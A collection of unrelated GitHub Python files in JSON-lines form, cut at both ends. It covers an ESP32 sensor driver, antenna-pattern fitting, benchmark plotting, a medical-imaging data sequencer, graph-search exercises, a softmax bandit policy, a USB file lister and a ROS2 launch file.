self.__vspi.read(length,offset)\n\n def spiReadOffset(self,hspi,length,offset=0x00):\n buf = bytearray(length) \n if hspi:\n return self.__hspi.readinto(buf, offset) \n else:\n return self.__vspi.readinto(buf, offset)\n return buf\n\n def spiWrite(self,hspi,data):\n if hspi:\n return self.__hspi.write(data) \n else:\n return self.__vspi.write(data) \n\n def spiWriteRead(self,hspi,data,length):\n buf = bytearray(length)\n if hspi:\n MOSI_buf = data\n self.__hspi.write_readinto(MOSI_buf, MISO_buf)\n else:\n MOSI_buf = data\n self.__vspi.write_readinto(MOSI_buf, MISO_buf)\n return buf\n \n\nclass devices:\n \n def __init__(self):\n self.__humidty=0.0\n self.__temperature=0.0\n self.__dewpoint=0.0\n\n def aht10(self):\n AHT10_ADDRESS=0x38\n CMD_INITIALIZE = bytearray([0xE1, 0x08, 0x00])\n CMD_MEASURE = bytearray([0xAC, 0x33, 0x00])\n AHT10_RESET = bytearray([0xBA])\n AHT_CONST=pow(2,20)\n __espx=esp32IO()\n __espx.i2cInit()\n __espx.i2cCmd(AHT10_ADDRESS,AHT10_RESET)\n time.sleep_ms(75)\n __espx.i2cCmd(AHT10_ADDRESS,CMD_INITIALIZE)\n __espx.i2cCmd(AHT10_ADDRESS,CMD_MEASURE)\n time.sleep_ms(100)\n __buf=__espx.i2cRead(AHT10_ADDRESS, 6)\n __humidty_raw=__buf[1] << 12 | __buf[2] << 4 | __buf[3] >> 4\n __degree_raw=(__buf[3] & 0x0F) << 16 | __buf[4] << 8 | __buf[5]\n self.__humidty=float((__humidty_raw/AHT_CONST)*100)\n self.__temperature=float((__degree_raw/AHT_CONST)*200-50)\n if self.__humidty>0:\n factor = (math.log(self.__humidty, 10) - 2) / 0.4343 + (17.62 * self.__temperature) / (243.12 + self.__temperature)\n self.__dewpoint = float(243.12 * factor / (17.62 - factor))\n return (self.__temperature, self.__humidty, self.__dewpoint)\n else:\n return self.aht10() ","repo_name":"hkdickyko/hkdickyko.github.io","sub_path":"assets/py/driver/esp32IO.py","file_name":"esp32IO.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"1310493077","text":"\n# Author: Matteo L. BEDINI\n# Date: April 2016\n\nimport PricingMethods\n\n\ndef deal_pricer(payoff, pricing_method, settings):\n \"\"\"deal_pricer\n input: a payoff, a pricing method, pricing settings\n this functions compute the price of a payoff and add the result to\n the payoff's instance attributes\n \"\"\"\n #print(payoff)\n pricing_fun = getattr(PricingMethods,pricing_method)\n \n price = pricing_fun(payoff, settings)\n #print(price)\n payoff.price = price\n","repo_name":"gomboc1985/Pyrathon","sub_path":"DealDealer.py","file_name":"DealDealer.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3048109246","text":"\"\"\"\nUtilities related to representing an indiviudal antenna\nradiation pattern from a NEC4 output file.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom scipy.special import sph_harm\n\n__version__ = '1.0'\n__authors_ = ['Chris DiLullo', 'Jayce Dowell']\n__all__ = ['AntennaPattern', 'fit_antenna_response']\n\nclass AntennaPattern(object):\n \"\"\"\n Object to store the antenna gain pattern\n for a single frequency from a NEC4 output \n file. If no file is given, then an isotropic \n gain pattern will be generated.\n \n .. note:: \n The NEC4 file must contain an EXCITATION section and be\n at 1 degree resolution.\n \"\"\"\n \n def __init__(self, name=None):\n \n if name is not None:\n self.antenna_pat = np.zeros((361,91), dtype=np.complex64)\n \n fh = open(name, 'r')\n lines = fh.readlines()\n \n #Look for 'EXCITATION'.\n excitation = None\n for line in lines:\n if line.find('EXCITATION') >= 0:\n excitation = True\n break\n \n if excitation:\n self._read_excitation(lines)\n \n else:\n raise RuntimeError(\"The provided NEC4 file doesn't have an EXCITATION section!\")\n \n fh.close()\n\n else:\n self.antenna_pat = np.ones((361,91), dtype=np.complex64)\n \n def _read_excitation(self, lines):\n \"\"\"\n Private function to read an EXCITATION section \n of a NEC output file.\n \"\"\"\n \n for i, line in enumerate(lines):\n if line.find('EXCITATION') >= 0:\n theta = 90 - int(float(lines[i+2].split()[3]))\n phi = int(float(lines[i+2].split()[6]))\n powcurr = float(lines[i+12].split()[8])\n phscurr = float(lines[i+12].split()[9])\n self.antenna_pat[phi, theta] = powcurr*np.exp(1j*phscurr*np.pi/180.0)\n self.antenna_pat[-1, :] = self.antenna_pat[0, :]\n\n def plot_pattern(self, dB=False):\n \"\"\"\n Function to plot the normalized antenna gain pattern.\n \"\"\"\n normGain = (np.abs(self.antenna_pat)**2) / (np.abs(self.antenna_pat)**2).max()\n vmax, vmin = 1.0, 0.0\n if dB:\n normGain = 10*np.log10(normGain)\n vmax, vmin = 0.0, -30.0\n \n f, ax = plt.subplots(1,1)\n ax.set_title('Antenna Gain Pattern', fontsize='x-large')\n c = ax.imshow(normGain.T, origin='lower', interpolation='nearest', vmax=vmax, vmin=vmin)\n cb = f.colorbar(c,ax=ax, orientation='horizontal')\n cb.set_label('Normalized Gain' +(' [dB]' if dB else ' [lin.]'), fontsize='large')\n ax.set_xlabel('Azimuth [deg.]', fontsize='large')\n ax.set_ylabel('Elevation [deg.]', fontsize='large')\n ax.tick_params(direction='in',size=5)\n plt.show()\n\ndef fit_antenna_response(freqs, p1, t1, p2, t2, lmax=None):\n \"\"\"\n Fit the gain response of an antenna as a polynomial in frequency.\n \n Parameters:\n * freqs: List or array of frequencies in MHz\n * p1: List or array containing the names of NEC4 outputs for polarization 1 parallel response\n * t1: List or array containing the names of NEC4 outputs for polarization 1 transverse response\n * p2: List or array containing the names of NEC4 outputs for polarization 2 parallel response\n * t2: List or array containing the names of NEC4 outputs for polarization 2 transverse response\n * lmax: Maximum degree of spherical harmonics to use for decomposition (None = No spherical harmonic decomposition)\n\n Returns:\n * A .npz file containing the coefficients of the polynomial in frequency\n \"\"\"\n \n if lmax is None:\n pol1, pol2 = [], []\n for i in range(freqs.size):\n extP = AntennaPattern(p1[i])\n extT = AntennaPattern(t1[i])\n ext1 = (np.abs(extP.antenna_pat)**2 + np.abs(extT.antenna_pat)**2) / 2.0\n ext1 /= ext1.max()\n\n extP = AntennaPattern(p2[i])\n extT = AntennaPattern(t2[i])\n ext2 = (np.abs(extP.antenna_pat)**2 + np.abs(extT.antenna_pat)**2) / 2.0\n ext2 /= ext2.max()\n\n pol1.append(ext1)\n pol2.append(ext2)\n\n pol1, pol2 = np.array(pol1), np.array(pol2)\n pol1 = pol1.reshape((pol1.shape[0], pol1.shape[1]*pol1.shape[2]))\n pol2 = pol2.reshape((pol2.shape[0], pol2.shape[1]*pol2.shape[2]))\n\n coeffs1 = np.polyfit(freqs/1e3, pol1, deg=freqs.size-1)\n coeffs2 = np.polyfit(freqs/1e3, pol2, deg=freqs.size-1)\n\n np.savez('beam_coefficients.npz', coeffs1=coeffs1, coeffs2=coeffs2, deg=freqs.size-1)\n\n else:\n #Az is 0 at +Y (North), Phi is zero at +X (East)\n #El is 0 at horizon, Theta is 0 at +Z (Up)\n az = np.arange(0, 361, 1)/1.0 * (np.pi/180.0)\n el = np.arange(0, 91, 1)/1.0 * (np.pi/180.0)\n phi = (-(az - np.pi/2) + 2*np.pi) % (2*np.pi)\n theta = (np.pi/2.0) - el\n theta, phi = np.meshgrid(theta, phi)\n\n pol1, pol2 = [], []\n for i in range(freqs.size):\n extP = AntennaPattern(p1[i])\n extT = AntennaPattern(t1[i])\n ext1 = (np.abs(extP.antenna_pat)**2 + np.abs(extT.antenna_pat)**2) / 2.0\n ext1 /= ext1.max()\n\n extP = AntennaPattern(p2[i])\n extT = AntennaPattern(t2[i])\n ext2 = (np.abs(extP.antenna_pat)**2 + np.abs(extT.antenna_pat)**2) / 2.0\n ext2 /= ext2.max()\n\n nTerms = int((lmax*(lmax+3)+2)/2)\n terms1 = np.zeros(nTerms, dtype=np.complex64)\n terms2 = np.zeros(nTerms, dtype=np.complex64)\n \n t = 0\n for l in range(lmax+1):\n for m in range(0, l+1):\n Ylm = sph_harm(m, l, phi, theta)\n terms1[t] = (ext1*np.sin(theta)*Ylm.conj()).sum() * (phi[1,0]-phi[0,0])*(theta[0,1]-theta[0,0])\n terms2[t] = (ext2*np.sin(theta)*Ylm.conj()).sum() * (phi[1,0]-phi[0,0])*(theta[0,1]-theta[0,0])\n t += 1\n \n pol1.append(terms1)\n pol2.append(terms2)\n\n pol1, pol2 = np.array(pol1), np.array(pol2)\n coeffs1 = np.polyfit(freqs/1e3, pol1, deg=pol1.shape[0]-1)\n coeffs2 = np.polyfit(freqs/1e3, pol2, deg=pol2.shape[0]-1)\n\n np.savez('beam_coefficients.npz', coeffs1=coeffs1, coeffs2=coeffs2, deg=freqs.size-1, lmax=lmax) \n","repo_name":"cdilullo/beam_simulator","sub_path":"beam_simulator/nec.py","file_name":"nec.py","file_ext":"py","file_size_in_byte":6503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"42176246685","text":"from typing import *\n\nfrom dataclasses import dataclass\n\nimport collections\nimport json\nimport statistics\nimport sys\n\ntry :\n\timport argparse\nexcept ImportError :\n\tsys.stderr.write( \"argparse not installed!\\n\" )\n\tsys.exit( 2 )\n\ntry :\n\timport matplotlib.pyplot as plt\nexcept ImportError :\n\tsys.stderr.write( \"matplotlib not installed!\\n\" )\n\tsys.exit( 3 )\n\n\nJsonObj = Dict[str, Any]\n\n\ndef load_benchmarks( line : str ) -> Iterator[JsonObj] :\n\tobj = json.loads( line )\n\tassert isinstance( obj, dict )\n\tif \"results\" in obj :\n\t\tresults = obj.pop( \"results\" )\n\t\tfor result in results :\n\t\t\tyield {**obj, **result}\n\telse :\n\t\tyield obj\n\n\n### Benchmark helper functions\n\ndef time_ms( benchmark : JsonObj ) -> float :\n\treturn benchmark[\"time_ns\"] / 1_000_000\n\ndef time_us( benchmark : JsonObj ) -> float :\n\treturn benchmark[\"time_ns\"] / 1_000\n\ndef edge_factor( benchmark : JsonObj ) -> int :\n\treturn benchmark[\"num_edges\"] // benchmark[\"num_vertices\"]\n\n\ndef validate_queries_quadratic( benchmarks : List[JsonObj] ) :\n\tfor benchmark in benchmarks :\n\t\tif benchmark[\"num_queries\"] != benchmark[\"num_vertices\"] **2 :\n\t\t\tprint( f\"WARNING: benchmark with m = {benchmark['num_queries']} and n = {benchmark['num_vertices']}. m is not the square of n.\" )\n\ndef validate_vertices_constant( benchmarks : List[JsonObj] ) :\n\tns = {benchmark[\"num_vertices\"] for benchmark in benchmarks}\n\tif len( ns ) > 1 :\n\t\tprint( f\"WARNING: Multiple vertex counts: {', '.join( sorted( ns ) )}\")\n\ndef validate_edge_factor_constant( benchmarks : List[JsonObj] ) :\n\tfs = {edge_factor( benchmark ) for benchmark in benchmarks}\n\tif len( fs ) > 1 :\n\t\tprint( f\"WARNING: Multiple edge factors: {', '.join( sorted( fs ) )}\")\n\ndef validate_edge_factor_int( benchmarks : List[JsonObj] ) :\n\tfor benchmark in benchmarks :\n\t\tif benchmark[\"num_edges\"] % benchmark[\"num_vertices\"] != 0 :\n\t\t\tprint( f\"WARNING: benchmark with m = {benchmark['num_edges']} and n = {benchmark['num_verices']}. m not a multiple of n!\" )\n\t\n\nclass XEdgeFactor :\n\tlabel = \"m/n\"\n\tlog_scale = False\n\t\n\t@staticmethod\n\tdef index( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"num_edges\"] // benchmark[\"num_vertices\"]\n\n@dataclass\nclass XSimple :\n\tlabel : str\n\tindex_key : str\n\tlog_scale : bool = False\n\t\n\tdef index( self, benchmark : JsonObj ) -> float :\n\t\treturn benchmark[self.index_key]\n\nXStdDev = XSimple( \"σ\", \"std_dev\" )\nXNumGroups = XSimple( \"#groups\", \"num_groups\" )\nXPathProb = XSimple( \"p = Prob. for compute_path_weight()\", \"path_query_prob\")\n\ndef XNumVerts( log_scale : bool = False ) -> XSimple :\n\treturn XSimple( \"n\", \"num_vertices\", log_scale )\n\n\nclass YMicrosPerQuery :\n\tlabel = \"µs/query\"\n\t\n\t@staticmethod\n\tdef value( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"time_ns\"] / 1_000 / benchmark[\"num_queries\"]\n\nclass YMicrosPerEdge :\n\tlabel = \"µs/edge\"\n\t\n\t@staticmethod\n\tdef value( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"time_ns\"] / 1_000 / benchmark[\"num_edges\"]\n\nclass YMicrosPerVertex :\n\tlabel = \"µs/vertex\"\n\t\n\t@staticmethod\n\tdef value( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"time_ns\"] / 1_000 / benchmark[\"num_vertices\"]\n\nclass YMillis :\n\tlabel = \"ms\"\n\t\n\t@staticmethod\n\tdef value( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"time_ns\"] / 1_000_000\n\nclass YRotationsPerQuery :\n\tlabel = \"rots/query\"\n\n\t@staticmethod\n\tdef value( benchmark : JsonObj ) -> float :\n\t\treturn benchmark[\"rotation_count\"] / benchmark[\"num_queries\"]\n\nclass TitleFixedVal :\n\tdef __init__( self, tpl : str, val_func : Callable[[JsonObj], Any], val_name_plural : str ) :\n\t\tself._tpl = tpl\n\t\tself._val_func = val_func\n\t\tself._val_name_plural = val_name_plural\n\t\t\n\tdef title( self, benchmarks : List[JsonObj] ) :\n\t\tassert len( benchmarks ) > 0\n\t\tvals = {self._val_func( benchmark ) for benchmark in benchmarks}\n\t\tif len( vals ) > 1 :\n\t\t\tprint( f\"WARNING: Multiple {self._val_name_plural}: {', '.join( sorted( map( str, vals ) ) )}\")\n\t\t\tv = next( iter( vals ) )\n\t\t\tif not isinstance( v, (tuple, list) ) :\n\t\t\t\tv = (v,)\n\t\t\treturn self._tpl.format( *((\"?\",) * len( v )) )\n\t\telse :\n\t\t\tv = next( iter( vals ) )\n\t\t\tif not isinstance( v, (tuple, list) ) :\n\t\t\t\tv = (v,)\n\t\t\treturn self._tpl.format( *v )\n\ndef TitleFixedVertices( tpl : str ) -> TitleFixedVal :\n\treturn TitleFixedVal( tpl, lambda b : b[\"num_vertices\"], \"vertex counts\" )\n\ndef TitleFixedEdgeFactor( tpl : str ) -> TitleFixedVal :\n\treturn TitleFixedVal( tpl, lambda b : b[\"num_edges\"] // b[\"num_vertices\"], \"edge factors\" )\n\ndef TitleFixedQueryFactor( tpl : str ) -> TitleFixedVal :\n\treturn TitleFixedVal( tpl, lambda b : b[\"num_queries\"] // b[\"num_vertices\"], \"query factors\" )\n\ndef TitleFixedQueryDivisorSquared( tpl : str ) -> TitleFixedVal :\n\treturn TitleFixedVal( tpl, lambda b : b[\"num_vertices\"] ** 2 // b[\"num_queries\"], \"n²/q factors\" )\n\ndef TitleFixedGroupSizesAndQueries( tpl : str ) -> TitleFixedVal :\n\treturn TitleFixedVal( tpl, lambda b : ( b[\"group_size\"], b[\"queries_per_group\"] ), \"group sizes/queries\" )\n\t\n\ndef plot_data( name : str, benchmark : Dict[int, List[int]], verbose : bool ) -> Tuple[List[float], List[float], List[float]] :\n\txs = []\n\tys = []\n\tstdevs = []\n\tfor x in sorted( benchmark ) :\n\t\tresults = benchmark[x]\n\t\tmean_us = statistics.mean( results )\n\t\tif len( results ) >= 2 :\n\t\t\tstdev_us = statistics.stdev( results )\n\t\telse :\n\t\t\tstdev_us = None\n\t\txs.append( x )\n\t\tys.append( mean_us )\n\t\tstdevs.append( stdev_us )\n\t\tif verbose :\n\t\t\tprint( f\"{name:>16}, {x:7}: {mean_us:5.3}±{stdev_us:4.3}ms\")\n\treturn xs, ys, stdevs\n\nPROFILES = {\n\t\"mst-edge-factor\" : ( XEdgeFactor, YMicrosPerEdge, TitleFixedVertices( \"Minimum Spanning forest (n = {})\" ),\n\t\t\tvalidate_vertices_constant, validate_edge_factor_int ),\n\t\"mst-vertices\" : ( XNumVerts( log_scale = True ), YMicrosPerEdge,\n\t\t\tTitleFixedEdgeFactor( \"Minimum Spanning forest (m/n = {})\" ),\n\t\t\tvalidate_edge_factor_constant, validate_edge_factor_int ),\n\t\"fd-con\" : ( XNumVerts(), YMicrosPerQuery,\n\t\t\tTitleFixedQueryDivisorSquared( \"Fully-dynamic connectivity (q = n²/{})\" )),\n\t\"degenerate\" : ( XNumVerts(), YMicrosPerVertex, \"Degenerate queries\" ),\n\t\"degenerate-noisy\" : ( XStdDev, YMillis, TitleFixedVertices( \"Noisy degenerate queries (n = {})\" ) ),\n\t\"queries-uniform\" : ( XNumVerts( log_scale = False ),\n\t\t\tYMicrosPerQuery, TitleFixedQueryFactor( \"Uniformly random queries (q/n = {})\" ) ),\n\t\"queries-path-prob\" : ( XPathProb, YMicrosPerQuery,\n\t\t\tTitleFixedVal( \"Random queries (n = {}, q = {})\", lambda b : ( b[\"num_vertices\"], b[\"num_queries\"] ),\n\t\t\t\t\t\"vertices/queries\" ) ),\n\t\"cache\" : ( XNumGroups, YMicrosPerQuery,\n\t\t\tTitleFixedGroupSizesAndQueries( \"Cache (n/group = {}, q/group = {})\" ) ),\n\t\"lca\" : ( XNumVerts( log_scale = True ),\n\t\t\tYMicrosPerQuery, TitleFixedQueryFactor( \"Uniformly LCA queries (q/n = {})\" ) ),\n\t\"lca_evert\" : ( XNumVerts( log_scale = True ),\n\t\t\tYMicrosPerQuery, TitleFixedQueryFactor( \"Uniformly LCA/Evert queries (q/n = {})\" ) ),\n\t\"num_rotations\" : ( XNumVerts(), YRotationsPerQuery, TitleFixedQueryFactor( \"Rotation count (q/n={})\" ) )\n}\n\nALGORITHM_COLORS = {\n\t\"Petgraph\" : \"black\",\n\t\"Kruskal (petgraph)\" : \"black\",\n\t\"Link-cut\" : \"tab:brown\",\n\t\"Greedy Splay\" : \"tab:blue\",\n\t\"Stable Greedy Splay\" : \"tab:cyan\",\n\t\"2P Splay\" : \"tab:red\",\n\t\"Stable 2P Splay\" : \"tab:orange\",\n\t\"L2P Splay\" : \"tab:purple\",\n\t\"Stable L2P Splay\" : \"tab:pink\",\n\t\"MTR\" : \"tab:green\",\n\t\"Stable MTR\" : \"tab:olive\",\n\t\"1-cut\" : \"tab:gray\",\n\t\"Simple\" : \"tab:gray\"\n}\n\ndef main() :\n\tparser = argparse.ArgumentParser( description = \"Parse stt benchmark results.\" )\n\tparser.add_argument( \"--input-file\", required = True )\n\tparser.add_argument( \"--profile\", choices = sorted( PROFILES.keys() ), required = True )\n\tparser.add_argument( \"--output-file\", help = \"Where to write the resulting image. If omitted, shows the image instead\", default = None )\n\tparser.add_argument( \"--exclude\", nargs=\"*\", choices = sorted( ALGORITHM_COLORS.keys() ), help = \"Exclude the specified algorithm(s)\" )\n\tparser.add_argument( \"--stdev\", action = \"store_true\", help = \"Show standard deviation error bars\" )\n\tparser.add_argument( \"-v\", \"--verbose\", help = \"Print results to stdout\" )\n\targs = parser.parse_args()\n\t\n\tOUTPUT_FOR_PAPER = False # Whether to produce plots for the paper, or larger plots to be read separately\n\t\n\tprint( f\"Drawing plot from {args.input_file} with profile {args.profile}...\" )\n\t\n\ttry :\n\t\tx_profile, y_profile, title_profile, *validators = PROFILES[args.profile]\n\texcept KeyError :\n\t\tprint( f\"ERROR: Unknown profile '{args.profile}'\" )\n\t\tsys.exit( -1 )\n\t\n\ttry :\n\t\twith open( args.input_file, \"r\" ) as fp :\n\t\t\tbenchmarks = [\n\t\t\t\tb for line in fp for b in load_benchmarks( line )\n\t\t\t\tif b[\"name\"] not in (args.exclude or ())\n\t\t\t]\n\texcept OSError as e :\n\t\tsys.stderr.write( f\"Could not open file '{args.input_file}': {e}\\n\" )\n\t\tsys.exit( 1 )\n\t\n\tif len( benchmarks ) == 0 :\n\t\tprint( \"No valid benchmarks found\" )\n\t\treturn\n\t\n\tfor validator in validators :\n\t\tvalidator( benchmarks )\n\t\n\tbenchmark_map = collections.defaultdict( lambda : collections.defaultdict( lambda : [] ) )\n\tfor benchmark in benchmarks :\n\t\tx = x_profile.index( benchmark )\n\t\tbenchmark_map[benchmark[\"name\"]][x].append( y_profile.value( benchmark ) )\n\tbenchmark_map = {k : dict( val ) for k, val in benchmark_map.items()}\n\t\n\timpls_with_plots = [(name, *plot_data( name, b, args.verbose ) ) for name, b in benchmark_map.items()]\n\timpls_with_plots.sort( key = lambda t : t[2][-1], reverse = True ) # Sort by last value\n\t\n\tlinewidth = 1.5\n\tif args.output_file :\n\t\tif OUTPUT_FOR_PAPER :\n\t\t\tplt.figure( figsize = (4.5, 4) )\n\t\t\tlinewidth = 1\n\t\telse :\n\t\t\tplt.figure( figsize = (11.69, 8.27) ) # A4\n\t\n\tmax_y = 0\n\tfor impl, xs, ys, stdevs in impls_with_plots :\n\t\tmax_y = max( max_y, max( ys ) )\n\t\tprint( impl, ys )\n\t\tif args.stdev and None not in stdevs :\n\t\t\tplt.errorbar( xs, ys, yerr = [stdevs, stdevs], capsize = 2, label = impl, color = ALGORITHM_COLORS[impl], linewidth = linewidth )\n\t\telse :\n\t\t\tplt.plot( xs, ys, label = impl, linewidth = linewidth )\n\n\tplt.xlabel( x_profile.label )\n\tif isinstance( title_profile, str ) :\n\t\tplt.title( title_profile )\n\telse :\n\t\tplt.title( title_profile.title( benchmarks ) )\n\t\n\tif x_profile.log_scale :\n\t\tplt.xscale( \"log\" )\n\tplt.ylabel( y_profile.label )\n\tif 50 <= max_y <= 100 :\n\t\tplt.yticks( range( 0, int( max_y+1 ), 5 ) )\n\t# Otherwise: default\n\t\n\t# Create legend\n\tif not OUTPUT_FOR_PAPER or args.output_file is None :\n\t\tplt.legend()\n\n\tplt.axis( ymin = 0 )\n\t\n\tif args.output_file is None :\n\t\tprint( \"Showing plot...\" )\n\t\tplt.show()\n\telse :\n\t\tprint( f\"Saving plot to {args.output_file}...\" )\n\t\tplt.savefig( args.output_file )\n\tprint( \"Done.\" )\n\nif __name__ == \"__main__\" :\n\tmain()\n","repo_name":"berendsohn/stt-rs","sub_path":"show_benchmarks/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":10559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43175205171","text":"from utils import niftis, input_sequencer\nimport numpy as np\nfrom typing_extensions import override\nimport glob\nimport os\n\n\nclass Isles18Sequencer(input_sequencer.InputSequencer):\n\n\tdef __init__(self, scan_dir_path, scan_format, annot_dir_path, annot_format, shuffle=True):\n\t\t\n\t\tsuper().__init__(shuffle)\n\t\t# Get all scans and image paths\n\t\tself.scan_paths = self.get_instance_paths(scan_dir_path, scan_format)\n\t\tself.scan_format = scan_format\n\t\tprint(\"[INFO] Found {} scans.\".format(len(self.scan_paths)))\n\t\tprint(self.scan_paths[-1:])\n\n\t\tself.annot_paths = self.get_instance_paths(annot_dir_path, annot_format)\n\t\tself.annot_format = annot_format\n\t\tprint(\"[INFO] Found {} annotations.\".format(len(self.annot_paths)))\n\t\tprint(self.annot_paths[-1:])\n\t\t\n\t\tself.indexes = np.arange(len(self.scan_paths))\n\t\tself.idx_adjust = 0\n\t\tself.on_epoch_end()\n\t\n\t@override\n\tdef get_instance_paths(self, root_path, dataformat='nifti'):\n\n\t\tdata_ext = '.nii' if dataformat=='nifti' else 'dcm'\n\t\tfull_paths = []\n\t\tfor curr_path, dirnames, filenames in os.walk(root_path):\n\t\t\tfull_paths.extend([\n\t\t\t\tos.path.join(curr_path, fi) for fi in filter(lambda x: isinstance(x, str) and x.endswith(data_ext), filenames)\n\t\t\t])\n\n\t\treturn full_paths","repo_name":"karthik-d/Vision-For-Robot-Path-Planning","sub_path":"experiments/src/data/isles18.py","file_name":"isles18.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26428916745","text":"def findRoute(row, col):\n global cnt\n\n if row == col == 4:\n if len(visit) == 25 - K:\n cnt += 1\n return\n\n for dr, dc in ((1, 0), (-1, 0), (0, 1), (0, -1)):\n newR, newC = row + dr, col + dc\n if 0 <= newR < 5 and 0 <= newC < 5 and \\\n (newR, newC) not in visit and MAP[newR][newC]:\n visit.add((newR, newC))\n findRoute(newR, newC)\n visit.remove((newR, newC))\n\n\nMAP = [[1] * 5 for _ in range(5)]\nvisit = {(0, 0)}\ncnt = 0\n\nK = int(input())\nfor _ in range(K):\n i, j = map(int, input().split())\n MAP[i - 1][j - 1] = 0\n\nfindRoute(0, 0)\n\nprint(cnt)\n","repo_name":"seho27060/aug-algo-study","sub_path":"0826/5913_hyry.py","file_name":"5913_hyry.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"34309764104","text":"__author__ = 'dai.shi'\n\nimport random\nimport operator\nimport math\n\nfrom exploChallenge.policies.ContextualBanditPolicy import ContextualBanditPolicy\n\ndef categorical_draw(x):\n z = random.random()\n cum_prob = 0.0\n for p in x:\n prob = x[p]\n cum_prob += prob\n if cum_prob > z:\n return p\n return x.iterkeys().next()\n\nclass Softmax(ContextualBanditPolicy):\n\n\n def __init__(self):\n self.temperature = 0.1\n self.counts = {}\n self.values = {}\n\n\n def getActionToPerform(self, visitor,possibleActions):\n psvalues = {}\n probs = {}\n\n for action in possibleActions:\n if action.getID() not in self.counts:\n self.counts[action.getID()] = 0\n self.values[action.getID()] = 0\n psvalues[action.getID()] = self.values[action.getID()]\n\n\n z = sum([math.exp(psvalues[v] / self.temperature) for v in psvalues])\n\n for v in psvalues:\n probs[v]= math.exp(psvalues[v] / self.temperature) / z\n\n\n id = categorical_draw(probs)\n for action in possibleActions:\n if action.getID() == id:\n return action\n\n\n def updatePolicy(self, content, chosen_arm, reward):\n self.counts[chosen_arm.getID()] = self.counts[chosen_arm.getID()] + 1\n n = self.counts[chosen_arm.getID()]\n\n value = self.values[chosen_arm.getID()]\n if reward is True:\n new_value = ((n - 1) / float(n)) * value + (1 / float(n))\n self.values[chosen_arm.getID()] = new_value\n return\n\n\n\n","repo_name":"shidaitimes/ContextualBandit","sub_path":"exploChallenge/policies/Softmax.py","file_name":"Softmax.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"17614375861","text":"import os\nimport os.path\n\n\ndef _diff(list1, list2):\n list_difference = [item for item in list1 if item not in list2]\n return list_difference\n\n\ndl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\ndrives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]\n\n\ndef _check_usb():\n global drives\n while True:\n uncheckeddrives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]\n x = _diff(uncheckeddrives, drives)\n if x:\n return x[0]\n x = _diff(drives, uncheckeddrives)\n if x:\n drives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]\n\n\ndef find():\n path = _check_usb()\n valid_files = []\n for root, dirs, files in os.walk(path):\n if len(root) < 3:\n for file in files:\n if file[-4:] in (\".txt\", \".bmp\"):\n valid_files.append(root + \"\\\\\" + file)\n valid_files.sort(key=lambda f: os.stat(f).st_size, reverse=True)\n return list(reversed(valid_files))[1:]\n","repo_name":"Savioor/sprint2","sub_path":"finding_file.py","file_name":"finding_file.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10152057794","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\nlist = {}\nfor i in range(1, n+1):\n list[i] = []\nfor i in range(m):\n a, b = map(int, input().split())\n list[a].append(b)\n list[b].append(a)\n\ncnt = 0\nconn = [0]*(n+1)\n\nfor i in range(1, n+1):\n if conn[i] == 0:\n q = deque()\n q.append(i)\n cnt += 1\n conn[i] = cnt\n\n while q:\n me = q.popleft()\n for next in list[me]:\n if conn[next] == 0:\n q.append(next)\n conn[next] = cnt\n\nprint(max(conn))\n\n","repo_name":"JAMONG08/WIL","sub_path":"2022/WEEK 11/🍉/11724.py","file_name":"11724.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32054365799","text":"from ament_index_python.packages import get_package_share_directory\r\n\r\nfrom launch import LaunchDescription\r\nfrom launch.actions import DeclareLaunchArgument, RegisterEventHandler\r\nfrom launch.event_handlers import OnProcessExit\r\nfrom launch.actions import IncludeLaunchDescription, SetEnvironmentVariable, TimerAction\r\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\r\nfrom launch_ros.descriptions import ParameterValue\r\nfrom launch.substitutions import Command, FindExecutable, PathJoinSubstitution\r\nfrom launch.substitutions.launch_configuration import LaunchConfiguration\r\n\r\nfrom launch_ros.actions import Node\r\nfrom launch_ros.substitutions import FindPackageShare\r\n\r\n\r\nARGUMENTS = [\r\n DeclareLaunchArgument(\r\n 'use_sim_time',\r\n default_value='false',\r\n choices=['true', 'false'],\r\n description='use_sim_time'\r\n ),\r\n DeclareLaunchArgument(\r\n \"use_fake_hardware\",\r\n default_value=\"true\",\r\n description=\"Start robot with fake hardware mirroring command to its states.\",\r\n ),\r\n DeclareLaunchArgument(\r\n \"fake_sensor_commands\",\r\n default_value=\"false\",\r\n description=\"Enable fake command interfaces for sensors used for simple simulations. Used only if 'use_fake_hardware' parameter is true.\",\r\n ),\r\n]\r\n\r\ndef generate_launch_description():\r\n is_simulation = LaunchConfiguration(\"use_sim_time\")\r\n use_fake_hardware = LaunchConfiguration(\"use_fake_hardware\")\r\n fake_sensor_commands = LaunchConfiguration(\"fake_sensor_commands\")\r\n\r\n pkg_robot_description = 